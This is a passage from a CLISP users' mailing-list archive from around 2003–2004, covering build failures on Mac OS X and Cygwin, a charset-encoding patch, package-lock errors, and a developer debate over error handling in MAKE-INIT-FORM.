> direction I should take that.

1. get a working lispinit.mem - comment out whatever you want, just get
   an image (e.g., try the appended patch).

2. start CLISP with that image and evaluate the DO-EXTERNAL-SYMBOLS form
   I sent you the other day.
   it will print plenty of junk, but the last message before the error
   will tell you which encoding is missing on your system.

3. try the appended patch and see if that solves the original problem.

4. *OPTIONAL* install gnu libiconv and see if that solves the original
   problem.



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--- type.lisp.~1.49.~	2003-07-22 19:42:26.104255800 -0400
+++ type.lisp	2003-12-22 10:57:31.654212800 -0500
@@ -1342,7 +1342,10 @@
   (defun get-charset-range (charset &optional maxintervals)
     (or (gethash charset table)
         (setf (gethash charset table)
-              (charset-range (make-encoding :charset charset)
+              (charset-range (if (and (symbolp charset)
+                                      (encodingp (symbol-value charset)))
+                                 (symbol-value charset)
+                                 (make-encoding :charset charset))
                              (code-char 0) (code-char (1- char-code-limit))
                              maxintervals))))
   ;; Fill the cache, but cache only the results with small lists of intervals.



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On Dec 23, 2003, at 11:07 AM, Sam Steingold wrote:

>> * Douglas Philips <qtbh@znp.pbz> [2003-12-23 10:30:08 -0500]:
>>
>> I'll try again tomorrow with further debugging, but not sure what
>> direction I should take that.
>
> 1. get a working lispinit.mem - comment out whatever you want, just get
>    an image (e.g., try the appended patch).

The appended patch did not work.

I used the "fix" I posted a few days ago.

>
> 2. start CLISP with that image and evaluate the DO-EXTERNAL-SYMBOLS 
> form
>    I sent you the other day.
>    it will print plenty of junk, but the last message before the error
>    will tell you which encoding is missing on your system.

% ./clisp
   i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
   I I I I I I I      8     8   8           8     8     o  8    8
   I  \ `+' /  I      8         8           8     8        8    8
    \  `-+-'  /       8         8           8      ooooo   8oooo
     `-__|__-'        8         8           8           8  8
         |            8     o   8           8     o     8  8
   ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2003


[1]>   (do-external-symbols (sym (find-package "CHARSET"))
     (print sym)
     (make-encoding :charset (encoding-charset (symbol-value sym))))

CHARSET:ISO-2022-KR
CHARSET:MAC-ROMAN
CHARSET:CP1253
CHARSET:UNICODE-32-LITTLE-ENDIAN
CHARSET:UNICODE-16-LITTLE-ENDIAN
CHARSET:CP1254
CHARSET:MAC-SYMBOL
CHARSET:ISO-2022-JP
CHARSET:CP1255
CHARSET:MAC-THAI
CHARSET:CP1256
CHARSET:UTF-16
CHARSET:ISO-2022-CN
CHARSET:UNICODE-32-BIG-ENDIAN
CHARSET:UNICODE-16-BIG-ENDIAN
CHARSET:CP1257
CHARSET:MAC-UKRAINE
CHARSET:NEXTSTEP
CHARSET:MAC-CYRILLIC
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CHARSET:CP865-IBM
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CHARSET:CP857
CHARSET:CP1250
CHARSET:JAVA
CHARSET:CP936
CHARSET:CP1251
CHARSET:CP437-IBM
CHARSET:MAC-ICELAND
CHARSET:CP1252
CHARSET:MAC-TURKISH
NIL
[2]>


no error happened.



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So I was missing the point. sorry.
please try --with-debug, it will tell you which file/line signals the
error.
also, please run under gdb:
(gdb) break OS_error
(gdb) run -q -norc -B .
> (load "init.lisp")
(gdb) where
(gdb) zbacktrace

please use zout/xout to figure what is going on.

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I tried to compile the berkeley-db module under Linux, but I got the
following error from GCC 3.2.3:


gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I../ -c bdb.m.c -o bdb.o
In file included from bdb.c:14:
config.h:35:1: warning: "PACKAGE_BUGREPORT" redefined
In file included from bdb.c:8:
../clisp.h:123:1: warning: this is the location of the previous definition
In file included from bdb.c:14:
config.h:38:1: warning: "PACKAGE_NAME" redefined
In file included from bdb.c:8:
../clisp.h:124:1: warning: this is the location of the previous definition
In file included from bdb.c:14:
config.h:41:1: warning: "PACKAGE_STRING" redefined
In file included from bdb.c:8:
../clisp.h:125:1: warning: this is the location of the previous definition
In file included from bdb.c:14:
config.h:44:1: warning: "PACKAGE_TARNAME" redefined
In file included from bdb.c:8:
../clisp.h:126:1: warning: this is the location of the previous definition
In file included from bdb.c:14:
config.h:47:1: warning: "PACKAGE_VERSION" redefined
In file included from bdb.c:8:
../clisp.h:127:1: warning: this is the location of the previous definition
bdb.c:32:22: windows.h: No such file or directory
make[1]: *** [bdb.o] Error 1


At the beginning of bdb.c there are some #ifdefs, but it seems that
windows.h is always included:


#if defined(__CYGWIN__)
# define UNIX_CYGWIN32
#endif

#define WIN32_LEAN_AND_MEAN  /* avoid including junk */
#if defined(UNIX_CYGWIN32) || defined(__MINGW32__)
/* `unused' is used in function declarations. */
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# define ULONG OS_ULONG
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# undef ULONG
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# include <windows.h>
# define unused
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This message is sent to mailing lists of some Lispy SF projects.
Reply-To & Followup-To are set to the maxima list (since Maxima is the
most popular Lispy SF project).

WIBNI there were a Lisp SF foundry? <http://foundries.sourceforge.net/>
All we need is a volunteer to administer the foundry.
<http://sourceforge.net/docman/display_doc.php?docid=889&group_id=1#foundryrequest>

Any volunteers?

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 > WIBNI there were a Lisp SF foundry? ... Any volunteers?

Well, I'm going to abdicate my offered role maintaining a separate
CLISP stable CVS branch (it's not going to be worth it. I was wrong.
Sorry).

But something like administering a SF "foundry" is something I could
do (which appears to be a mix between maintaining pages of links,
moderating announce lists, and ongoing research -- something I'd do
anyway).  If there's no other takers, I cansubmit a request in a week
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	I have downloaded clisp and have tried to follow the install 
instructions. I have been trying to install it on my macintosh running 
10.2.6. I have gotten it working before but had to reinstall my whole 
OS. Can someone help me out? I need more clear instructions. I am 
running emacs on the macintosh. Please let me know.

Sam



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i have install cclicc-0.6.2
it install fine
now i want to load clcload.lsp file by my clisp2.30
but it is giving me error that
---invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16
i have also install libiconv
it install fine..
then also give same error..

please help me
waiting for help

-anil sorathiya


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This reproduces with the Cygwin binaries from a Sourceforge mirror,
as well as with my own build from sources. I haven't tried other
platforms yet.

Save this program text in a .lisp file and compile it:

    (defstruct foo (slot))
    #s(foo :slot nil)

The result is surprising. CLISP goes into a loop, repeatedly dumping
the following diagnostic:

WARNING:
CLOS::MAKE-INIT-FORM[COMMON-LISP-USER::FOO][COMMON-LISP::SIMPLE-ERROR]:
CLOS::NO-APPLICABLE-METHOD: When calling
#1=#Y(CLOS::MAKE-LOAD-FORM
      #22Y(00 00 00 00 01 00 00 00 11 17 69 00 00 69 00 01 69 00 02 9C 02 03)
      (COMMON-LISP::T . COMMON-LISP::T)
      #(CLOS::NO-METHOD-CALLER CLOS::NO-APPLICABLE-METHOD #1#)
      #(1. 1. COMMON-LISP::NIL COMMON-LISP::NIL COMMON-LISP::NIL
        COMMON-LISP::NIL)
      (0.) COMMON-LISP::NIL) with arguments



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> * Sam P <fnz@wbiv.arg> [2004-01-01 19:20:53 -0500]:
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> 	I have downloaded clisp and have tried to follow the install
> 	instructions. I have been trying to install it on my macintosh
> 	running 10.2.6. I have gotten it working before but had to
> 	reinstall my whole OS. Can someone help me out? I need more
> 	clear instructions. I am running emacs on the macintosh. Please
> 	let me know.

you might get a response if you were more specific: what did you
do, what was your problem &c.

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> * Anil Sorathiya <navy.fbenguvln@fpvabinvaqvn.pbz> [2004-01-03 23:33:10 +0500]:
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> ---invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16

<http://clisp.cons.org/faq.html#enc-err>



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> * John K. Hinsdale <uva@nyzn.pbz> [2004-01-01 16:49:01 -0500]:
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>  > WIBNI there were a Lisp SF foundry? ... Any volunteers?
>
> But something like administering a SF "foundry" is something I could
> do (which appears to be a mix between maintaining pages of links,
> moderating announce lists, and ongoing research -- something I'd do
> anyway).  If there's no other takers, I cansubmit a request in a week
> or so.

please go ahead.

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I think the Install file for the Unix section of the Clisp is just not 
detailed or clear enough for me. When do I do exactly what commands and 
where do I do them? That is pretty much what I am asking. What was the 
command to start Clisp? Maybe I do have it installed and don't know how 
to start it up. Please let me know so I can have some more insight.

Sam
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>> * Sam P <fnz@wbiv.arg> [2004-01-01 19:20:53 -0500]:
>>
>> 	I have downloaded clisp and have tried to follow the install
>> 	instructions. I have been trying to install it on my macintosh
>> 	running 10.2.6. I have gotten it working before but had to
>> 	reinstall my whole OS. Can someone help me out? I need more
>> 	clear instructions. I am running emacs on the macintosh. Please
>> 	let me know.
>
> you might get a response if you were more specific: what did you
> do, what was your problem &c.
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> * Sam P <fnz@wbiv.arg> [2004-01-03 23:13:55 -0500]:
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> I think the Install file for the Unix section of the Clisp is just not
> detailed or clear enough for me. When do I do exactly what commands
> and where do I do them? That is pretty much what I am asking. What was
> the command to start Clisp? Maybe I do have it installed and don't
> know how to start it up. Please let me know so I can have some more
> insight.

clisp is started with command "clisp".
"man clisp" will give you the invocation options.
building CLISP is usually accomplished by

$ ./configure --build build-dir

and installation by

$ cd build-dir
$ make install

as root.

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  Ok I am using emacs on my Macintosh. I did a /configure --build 
build-dir. That looked fine. Later on in the output after the 
./configure --build build-dir there was errors like these


bytecode.d:163: illegal expression, found `&&'
bytecode.d:164: illegal expression, found `&&'
bytecode.d:165: illegal expression, found `&&'
bytecode.d:166: illegal expression, found `&&'
bytecode.d:167: illegal expression, found `&&'
bytecode.d:168: illegal expression, found `&&'
eval.d:5852: illegal statement, missing `identifier' after `goto'
eval.d:5852: syntax error, missing `;' after `*'
eval.d:6236: illegal statement, missing `identifier' after `goto'
eval.d:6236: syntax error, missing `;' after `*'
eval.d:6239: illegal statement, missing `identifier' after `goto'
eval.d:6239: syntax error, missing `;' after `*'
eval.d:6246: illegal statement, missing `identifier' after `goto'
eval.d:6246: syntax error, missing `;' after `*'
eval.d:6250: illegal statement, missing `identifier' after `goto'
eval.d:6250: syntax error, missing `;' after `*'
eval.d:6253: illegal statement, missing `identifier' after `goto'
eval.d:6253: syntax error, missing `;' after `*'
eval.d:6260: illegal statement, missing `identifier' after `goto'
eval.d:6260: syntax error, missing `;' after `*'
eval.d:6267: illegal statement, missing `identifier' after `goto'
eval.d:6267: syntax error, missing `;' after `*'
eval.d:6275: illegal statement, missing `identifier' after `goto'
eval.d:6275: syntax error, missing `;' after `*'
eval.d:6282: illegal statement, missing `identifier' after `goto'
eval.d:6282: syntax error, missing `;' after `*'
eval.d:6294: illegal statement, missing `identifier' after `goto'
eval.d:6294: syntax error, missing `;' after `*'
eval.d:6306: illegal statement, missing `identifier' after `goto'
eval.d:6306: syntax error, missing `;' after `*'
eval.d:6315: illegal statement, missing `identifier' after `goto'
eval.d:6315: syntax error, missing `;' after `*'
eval.d:6324: illegal statement, missing `identifier' after `goto'
eval.d:6324: syntax error, missing `;' after `*'
eval.d:6337: illegal statement, missing `identifier' after `goto'
eval.d:6337: syntax error, missing `;' after `*'
eval.d:6350: illegal statement, missing `identifier' after `goto'
eval.d:6350: syntax error, missing `;' after `*'
eval.d:6364: illegal statement, missing `identifier' after `goto'
eval.d:6364: syntax error, missing `;' after `*'
eval.d:6371: illegal statement, missing `identifier' after `goto'
eval.d:6371: syntax error, missing `;' after `*'
eval.d:6379: illegal statement, missing `identifier' after `goto'
eval.d:6379: syntax error, missing `;' after `*'
eval.d:6391: illegal statement, missing `identifier' after `goto'
eval.d:6391: syntax error, missing `;' after `*'
eval.d:6406: illegal statement, missing `identifier' after `goto'
eval.d:6406: syntax error, missing `;' after `*'
eval.d:6419: illegal statement, missing `identifier' after `goto'
eval.d:6419: syntax error, missing `;' after `*'
eval.d:6433: illegal statement, missing `identifier' after `goto'



The last three lines were:

eval.d: At top level:
eval.d:2107: parse error before '}' token
make: *** [eval.o] Error 1

then I did
[Sam-Ps-Computer:~/Desktop/clisp-2.32] samp% cd build-dir/
[Sam-Ps-Computer:~/Desktop/clisp-2.32/build-dir] samp% su root
Password:
[Sam-Ps-Computer:Desktop/clisp-2.32/build-dir] samp# make install

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  
-Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT 
-DNO_SIGSEGV -c eval.c
lispbibl.d:7384: illegal external declaration, missing `;' after `__SP'
eval.d:1784: illegal expression, found `#'
bytecode.d:4: illegal expression, found `&&'
bytecode.d:5: illegal expression, found `&&'
bytecode.d:6: illegal expression, found `&&'
bytecode.d:7: illegal expression, found `&&'
bytecode.d:9: illegal expression, found `&&'
bytecode.d:10: illegal expression, found `&&'
bytecode.d:11: illegal expression, found `&&'

up to where it says bytecode.d:295

and then it says

eval.d:5852: illegal statement, missing `identifier' after `goto'
eval.d:5852: syntax error, missing `;' after `*'
eval.d:6236: illegal statement, missing `identifier' after `goto'
eval.d:6236: syntax error, missing `;' after `*'
eval.d:6239: illegal statement, missing `identifier' after `goto'
eval.d:6239: syntax error, missing `;' after `*'
eval.d:6246: illegal statement, missing `identifier' after `goto'
eval.d:6246: syntax error, missing `;' after `*'
eval.d:6250: illegal statement, missing `identifier' after `goto'
eval.d:6250: syntax error, missing `;' after `*'
eval.d:6253: illegal statement, missing `identifier' after `goto'
eval.d:6253: syntax error, missing `;' after `*'
eval.d:6260: illegal statement, missing `identifier' after `goto'
eval.d:6260: syntax error, missing `;' after `*'
eval.d:6267: illegal statement, missing `identifier' after `goto'
eval.d:6267: syntax error, missing `;' after `*'

for a while and then

cpp-precomp: warning: errors during smart preprocessing, retrying in 
basic mode
In file included from eval.d:7:
lispbibl.d:7384: warning: volatile register variables don't work as you 
might wish

for a few lines and

eval.d: In function `invoke_handlers':
eval.d:631: warning: variable `other_ranges' might be clobbered by 
`longjmp' or `vfork'
eval.d:634: warning: variable `FRAME' might be clobbered by `longjmp' 
or `vfork'
eval.d:646: warning: variable `i' might be clobbered by `longjmp' or 
`vfork'
eval.d: In function `get_closure':
eval.d:1798: `opt_label' undeclared (first use in this function)
eval.d:1798: (Each undeclared identifier is reported only once
eval.d:1798: for each function it appears in.)
eval.d:1798: `rest_label' undeclared (first use in this function)
eval.d:1798: `key_label' undeclared (first use in this function)
eval.d:1798: `allow_label' undeclared (first use in this function)
eval.d:1798: `aux_label' undeclared (first use in this function)
eval.d:1798: `end_label' undeclared (first use in this function)
eval.d:1798: warning: left-hand operand of comma expression has no 
effect
eval.d:1798: warning: left-hand operand of comma expression has no 
effect
eval.d:1798: warning: left-hand operand of comma expression has no 
effect
eval.d:1798: warning: left-hand operand of comma expression has no 
effect
eval.d:1798: warning: left-hand operand of comma expression has no 
effect
eval.d:1798: parse error before '{' token
eval.d:1798: `opt' undeclared (first use in this function)

for a while

The last three lines are

eval.d: At top level:
eval.d:2107: parse error before '}' token
make: *** [eval.o] Error 1

Then when I do a

[Sam-Ps-Computer:Desktop/clisp-2.32/build-dir] samp# clisp
clisp: Command not found.

[Sam-Ps-Computer:Desktop/clisp-2.32/build-dir] samp# (clisp)
clisp: Command not found.

[Sam-Ps-Computer:Desktop/clisp-2.32/build-dir] samp# cd ..
[Sam-Ps-Computer:samp/Desktop/clisp-2.32] samp# clisp
clisp: Command not found.

Those are the exact details of what is going on. I think I have gotten 
a previous version working before but I needed to reinstall my OS 
recently.
Do you live in the Boston area?
Maybe I could meet up with you, and if you fix this, I could probably 
pay you a little bit of money for your time.

Sam

On Saturday, January 3, 2004, at 11:31 PM, Sam Steingold wrote:

>> * Sam P <fnz@wbiv.arg> [2004-01-03 23:13:55 -0500]:
>>
>> I think the Install file for the Unix section of the Clisp is just not
>> detailed or clear enough for me. When do I do exactly what commands
>> and where do I do them? That is pretty much what I am asking. What was
>> the command to start Clisp? Maybe I do have it installed and don't
>> know how to start it up. Please let me know so I can have some more
>> insight.
>
> clisp is started with command "clisp".
> "man clisp" will give you the invocation options.
> building CLISP is usually accomplished by
>
> $ ./configure --build build-dir
>
> and installation by
>
> $ cd build-dir
> $ make install
>
> as root.
>
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> * Sam P <fnz@wbiv.arg> [2004-01-04 09:29:30 -0500]:
>
>   Ok I am using emacs on my Macintosh.

please read <http://clisp.cons.org/clisp.html#bugs>

$ uname -a
$ gcc --version


> The last three lines were:
>
> eval.d: At top level:
> eval.d:2107: parse error before '}' token
> make: *** [eval.o] Error 1

this means that build failed, so it is pointless to try to install.

> eval.d: At top level:
> eval.d:2107: parse error before '}' token
> make: *** [eval.o] Error 1

same as above.

> [Sam-Ps-Computer:Desktop/clisp-2.32/build-dir] samp# clisp
> clisp: Command not found.

of course - build & install failed.

> Those are the exact details of what is going on. I think I have gotten
> a previous version working before but I needed to reinstall my OS
> recently.

please try to install libsigsegv (see unix/INSTALL).
please make sure your GCC installation is good (bad GCC appears to cause
your problems).

you might want to try MacOS binaries supplied on
<http://sourceforge.net/project/showfiles.php?group_id=1355>. 

> and if you fix this, I could probably
> pay you a little bit of money for your time.

If you would like to hire me as a CLISP consultant, please contact me
via _private e-mail_ with the list of services you are looking for.

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hello;

On Sunday, Jan 4, 2004, at 15:29 Europe/Berlin, Sam P wrote:

>  Ok I am using emacs on my Macintosh. I did a /configure --build 
> build-dir. That looked fine. Later on in the output after the 
> ./configure --build build-dir there was errors like these

these are my notes on how to do a build under os x 10.2.8 based on a 
recent clisp cvs.
you can ignore the steps about patching or replacing clos.lisp.

# clisp build using 20031223 cvs

cd /Development/Source/
mkdir clisp-2003-12-23
cd clisp-2003-12-23
cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp get .


mkdir withDec2002gcc
./configure --without-dynamic-ffi withDec2002gcc
## for method-combination extensions either,
## if working with the base cvs version
cd src
patch -b -p0 < ../../diff-20031108b.txt

## or, otherwise copy the modified version
cp ../../method-combination-extensions/clos.lisp .

cd ../withDec2002gcc


# as per the then emitted instructions

./makemake    > Makefile
make config.lisp
emacs config.lisp
limit stacksize 8192
make

# failed in make manual with an autoconf error
# subsequent make check succeeded, so i tried a make clisp and that made
# the combined lisp.run and lispinit.mem

make check was ok


# suggested workaround

touch ../src/VERSION
make



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On Sun, 2004-01-04 at 07:15, Sam Steingold wrote:
> > * Anil Sorathiya <navy.fbenguvln@fpvabinvaqvn.pbz> [2004-01-03 23:33:10 +0500]:
> >
> > ---invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16
> 
> <http://clisp.cons.org/faq.html#enc-err>
> 
My os is Redhat 9.0
and i have both source code and rpm also for clisp....
what i have to do please tell me...




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Date: Tue Jan  6 09:29:06 2004
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hello,

i am trying to run some code that uses the function
clos::slot-boundp-using-class on clisp 2.29. when i enter:
[39]> #'clos::slot-boundp-using-class
** - Continuable Error
INTERN("SLOT-BOUNDP-USING-CLASS"): #<PACKAGE CLOS> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1. Break [40]>

here is my first question: i am not calling one of:
     *  import a symbol into the package (with import and shadowing-import)
     * export a symbol from the package (with export).
     * unexport a symbol (with unexport)
     * change the name of the package (with rename-package).
     * change the packages used by the package (with use-package and 
unuse-package).
     * unintern a symbol in the package (with unintern)
     * shadow a symbol (with shadow or shadowing-import).
i just want to know from the system that this is a function? so why is 
it triggering this "is locked" error?

then my next attempt was to use ext:without-package-lock as described at 
http://clisp.cons.org/impnotes/packages.html:
[44]> (ext:without-package-lock ("CLOS") #'clos::slot-boundp-using-class)
** - Continuable Error
INTERN("SLOT-BOUNDP-USING-CLASS"): #<PACKAGE CLOS> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1. Break [45]>
so my next question is why the without-package-lock does not work?

i found in the common music project a file which defines the following:
#+(and clisp (not pcl))
(progn
   ;(defun allocate-instance (class)
   ;  (clos::allocate-std-instance
   ;   class (length (class-slots class))))
   (defun class-slots (class)
     (clos::class-slots class))
   (defun class-precedence-list (class)
     (clos::class-precedence-list class))
   (defun class-direct-superclasses (class)
     (clos::class-direct-superclasses class))
   (defun slot-definition-name (slot)
     (clos::slotdef-name slot))
   (defun slot-definition-initargs (slot)
     (clos::slotdef-initargs slot))
   (defun slot-definition-initform (slot)
     (let ((? (clos::slotdef-initer slot)))
       (and ? (if (car ?) (funcall (car ?)) (cdr ?)))))
   (defun slot-definition-readers (slot)
     (declare (ignore slot))
     (error "slot-definition-readers undefined in CLISP"))
   (defun slot-definition-writers (slot)
     (declare (ignore slot))
     (error "slot-definition-writers undefined in CLISP"))
   (defmacro slot-value-using-class (class object slot)
     (declare (ignore class))
     `(slot-value ,object (slot-definition-name ,slot)))
   (defun slot-boundp-using-class (class object slot)
     (declare (ignore class))
     (slot-boundp object (slot-definition-name slot)))
   (defun slot-makunbound-using-class (class object slot)
     (declare (ignore class))
     (slot-makunbound object (slot-definition-name slot)))
   (defun change-class (object new-class)
     (declare (ignore object new-class))
     (error "CLISP CLOS does not implement change-class."))
   (defvar %clisp-prototypes% (make-hash-table))
   (defun class-prototype (class)
     (or (gethash class %clisp-prototypes% )
         (setf (gethash class %clisp-prototypes% )
               (clos::allocate-std-instance
                class (length (class-slots class))))))
)

which means for me that i should use in clisp slot-boundp instead of 
clos::slot-boundp-using-class. the same for slot-value-using-class.

could somebody please bring some more light into this matter?

thanks a lot for any hints!!
-- 
Christian Schuhegger




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> * Christian Schuhegger <Puevfgvna.Fpuhurttre@tzk.qr> [2004-01-06 18:25:56 +0100]:
>
> i am trying to run some code that uses the function
> clos::slot-boundp-using-class on clisp 2.29. when i enter:

you are 3 releases behind.

> [39]> #'clos::slot-boundp-using-class
> ** - Continuable Error
> INTERN("SLOT-BOUNDP-USING-CLASS"): #<PACKAGE CLOS> is locked
> If you continue (by typing 'continue'): Ignore the lock and proceed
> 1. Break [40]>
>
> here is my first question: i am not calling one of:
>      * import a symbol into the package (with import and shadowing-import)
>      * export a symbol from the package (with export).
>      * unexport a symbol (with unexport)
>      * change the name of the package (with rename-package).
>      * change the packages used by the package (with use-package and
>        unuse-package).
>      * unintern a symbol in the package (with unintern)
>      * shadow a symbol (with shadow or shadowing-import).
> i just want to know from the system that this is a function? so why is
> it triggering this "is locked" error?

read the error message again.
you are trying to INTERN "SLOT-BOUNDP-USING-CLASS" in package CLOS.

> then my next attempt was to use ext:without-package-lock as described at
> http://clisp.cons.org/impnotes/packages.html:
> [44]> (ext:without-package-lock ("CLOS") #'clos::slot-boundp-using-class)
> ** - Continuable Error
> INTERN("SLOT-BOUNDP-USING-CLASS"): #<PACKAGE CLOS> is locked
> If you continue (by typing 'continue'): Ignore the lock and proceed
> 1. Break [45]>
> so my next question is why the without-package-lock does not work?

this is a read-time error, it is signaled before
EXT:WITHOUT-PACKAGE-LOCK is ever processed.

try FIND-SYMBOL or FIND-ALL-SYMBOLS

> i found in the common music project a file which defines the following:
> #+(and clisp (not pcl))
> (progn
>    (defun change-class (object new-class)
>      (declare (ignore object new-class))
>      (error "CLISP CLOS does not implement change-class."))
>    (defvar %clisp-prototypes% (make-hash-table))
>    (defun class-prototype (class)
>      (or (gethash class %clisp-prototypes% )
>          (setf (gethash class %clisp-prototypes% )
>                (clos::allocate-std-instance
>                 class (length (class-slots class))))))
> )

CLISP now has CLASS-PROTOTYPE & CHANGE-CLASS.


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Sam Steingold wrote:

>>* Christian Schuhegger <Puevfgvna.Fpuhurttre@tzk.qr> [2004-01-06 18:25:56 +0100]:
>>
>>i am trying to run some code that uses the function
>>clos::slot-boundp-using-class on clisp 2.29. when i enter:
> 
> 
> you are 3 releases behind.

yes, but at least i know that it works fine for me :) and before i don't 
have a very good reason to upgrade i will stay with this version.

> this is a read-time error, it is signaled before
> EXT:WITHOUT-PACKAGE-LOCK is ever processed.
> 
> try FIND-SYMBOL or FIND-ALL-SYMBOLS

ok, thanks for that hint:
[12]> (find-all-symbols "SLOT-BOUNDP-USING-CLASS")
NIL

the symbol is just not available. it is only a strange error message :)

thanks again!
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Date: Tue Jan  6 12:51:03 2004
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I tried to compile maxima with the new cygwin clisp 2.32 package and it gets
stuck on the file simp.fas saying the there is no package with the name
POSIX. When I type clisp --version it does not show the package SYSCALLS.
How can I compile maxima then?

Cheers, Yadin.





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> * Yadin Y. Goldschmidt <lnqva@cvgg.rqh> [2004-01-06 15:34:52 -0500]:
>
> I tried to compile maxima with the new cygwin clisp 2.32 package and
> it gets stuck on the file simp.fas saying the there is no package with
> the name POSIX. When I type clisp --version it does not show the
> package SYSCALLS.  How can I compile maxima then?

$ clisp -K full

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On Tue, 6 Jan 2004, Yadin Y. Goldschmidt wrote:

> Date: Tue, 6 Jan 2004 15:34:52 -0500
> From: Yadin Y. Goldschmidt <yadin@pitt.edu>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] cygwin clisip-2.32 and maxima
> 
> I tried to compile maxima with the new cygwin clisp 2.32 package and it gets
> stuck on the file simp.fas saying the there is no package with the name
> POSIX. When I type clisp --version it does not show the package SYSCALLS.
> How can I compile maxima then?

I have another issue with the clisp-2.32 Cygwin package. I just
subscribed to the cygwin mailing list to gripe about it. ;)

This CLISP is built with libsigsegv, but that lib is nowhere to be
installed. As a result, you can't build a custom link of CLISP; the
makevars calls for ``-lsigsegv'' which doesn't exist, and can't be
found among the packages.



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> * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2004-01-06 13:40:46 -0800]:
>
> I have another issue with the clisp-2.32 Cygwin package. I just
> subscribed to the cygwin mailing list to gripe about it. ;)
>
> This CLISP is built with libsigsegv, but that lib is nowhere to be
> installed. As a result, you can't build a custom link of CLISP; the
> makevars calls for ``-lsigsegv'' which doesn't exist, and can't be
> found among the packages.

why don't you volunteer to maintain the cygwin libsigsegv package?
and, while you are there, also the cygwin clisp package. :-)

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Sam wrote:
> this is caused by make-init-form in loadform.lisp: no-*-method signal
> either TYPE-ERROR or just ERROR and both have to be ignored in
> make-init-form.
> we have the following options:
>
>  - ignore _all_ errors there (what about, say, compilation errors?!)

Generally a bad idea.

>  - add
>
> ;; for no-applicable-method, no-primary-method, no-next-method
> (define-condition method-error (simple-error)
>   (($gf :initarg :generic-function :reader method-error-generic-function)
>    ($args :initarg :argument-list :reader method-error-argument-list)))
> (define-condition method-type-error (method-error simple-type-error) ())
>
>    to condition.lisp with appropriate modifications to clos.lisp and
>    exporting METHOD-*ERROR* from CLOS and EXT.

Yes, that's the way to go. Introducing more specific condition types never
hurts.

I would call these 'method-call-error' and 'method-call-type-error', since
it's a problem not with the method but with its arguments.

>  - modification of the above removing METHOD-TYPE-ERROR and the whole
>    "dispatching arg" thing from clos.lisp - I don't see how it is useful.

This is nonsense. NO-APPLICABLE-METHOD goes to great lengths to provide
a TYPE-ERROR if possible. This is a feature for the user who want to
catch errors. If you have code that relies on the fact that a condition's
type is _exactly_ ERROR and not a subtype of ERROR, this code is wrong:
the code which signals the condition is always free to create a more
specific condition type.

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> * Bruno Haible <oehab@pyvfc.bet> [2004-01-08 17:01:39 +0100]:
>
> Sam wrote:
>
>>  - modification of the above removing METHOD-TYPE-ERROR and the whole
>>    "dispatching arg" thing from clos.lisp - I don't see how it is useful.
>
> This is nonsense. NO-APPLICABLE-METHOD goes to great lengths to
> provide a TYPE-ERROR if possible. This is a feature for the user who
> want to catch errors. If you have code that relies on the fact that a
> condition's type is _exactly_ ERROR and not a subtype of ERROR, this
> code is wrong: the code which signals the condition is always free to
> create a more specific condition type.

Yes, I understand what you are doing there.
I just doubt that anyone is using this feature.
If you want to keep it - it is fine with me.
I will check in the patch soon.

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> * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2004-01-06 13:40:46 -0800]:
>
> I have another issue with the clisp-2.32 Cygwin package. I just
> subscribed to the cygwin mailing list to gripe about it. ;)
haven't see your message there.

> This CLISP is built with libsigsegv, but that lib is nowhere to be
> installed. As a result, you can't build a custom link of CLISP; the
> makevars calls for ``-lsigsegv'' which doesn't exist, and can't be
> found among the packages.

why do you need this?
do you have your own modules?

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Sam wrote:
> I just doubt that anyone is using this feature.

Even if there is no documentation about the precise condition type signalled
in a particular situation, people often display the error condition, to see
what type it belongs to, and then use HANDLER-BIND with this condition type.

So, signalling ERROR instead of TYPE-ERROR creates a backwards compatibility
problem. But signalling XYZ-ERROR instead of ERROR doesn't create a backward
compatibility problem, if the handling code is written in a sane way.

Bruno



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On Thu, 8 Jan 2004, Bruno Haible wrote:

> Sam wrote:
> > this is caused by make-init-form in loadform.lisp: no-*-method signal
> > either TYPE-ERROR or just ERROR and both have to be ignored in
> > make-init-form.

More detail: the problem that occurs in my particular test case goes like
this: CLISP wants to print a struct object via PRINT-OBJECT. Because this
is at compile time, and the object came from the #S syntax, there is a
cached form which depends on MAKE-LOAD-FORM being specialized for that
struct. So the pretty printer tries to use the load form, and blows up
on the lack of a method.

Now the problem is that the error which is generated is caught in a
HANDLER-CASE in MAKE-INIT-FORM which wants to print the offending object
rather than ignore the error! So an infinite recursion is caused
through PRINT-OBJECT back to MAKE-INIT-FORM, because it's the printing
of the object that causes the error.

The real problem is that both MAKE-INIT-FORM tries to take the error
handling into its own hands, so to speak, rather than defer it to the
calling layers.  MAKE-INIT-FORM has a brain-damaged HANDLER-CASE
which tries to guess which errors might be method problems. It's wrong
to catch errors at this level, because not only does it lead to the
looping behavior, but it makes it impossible for the highest level to
provide a specific, accurate diagnostic relevant to the real problem.

PRINT-OBJECT falls back on PRINT-UNREADABLE-OBJECT if MAKE-INIT-FORM
returns NIL. But this is a problem if MAKE-INIT-FORM returns NIL
because it silently caught an error! What if the unreadable object is
unacceptable to the caller of PRINT-OBJECT? If you are using PRINT-OBJECT
to dump to a .FAS file, for instance, and you get some unreadable
representation, you end up with a garbage .FAS that won't load.

A NIL return from MAKE-INIT-FORM should really mean ``There is no init
form available, and this is okay'' not ``There is no init form available,
possibly because of a nasty error that was swept under the rug''.

Ultimately, it would really be good to raise a specific error which tells
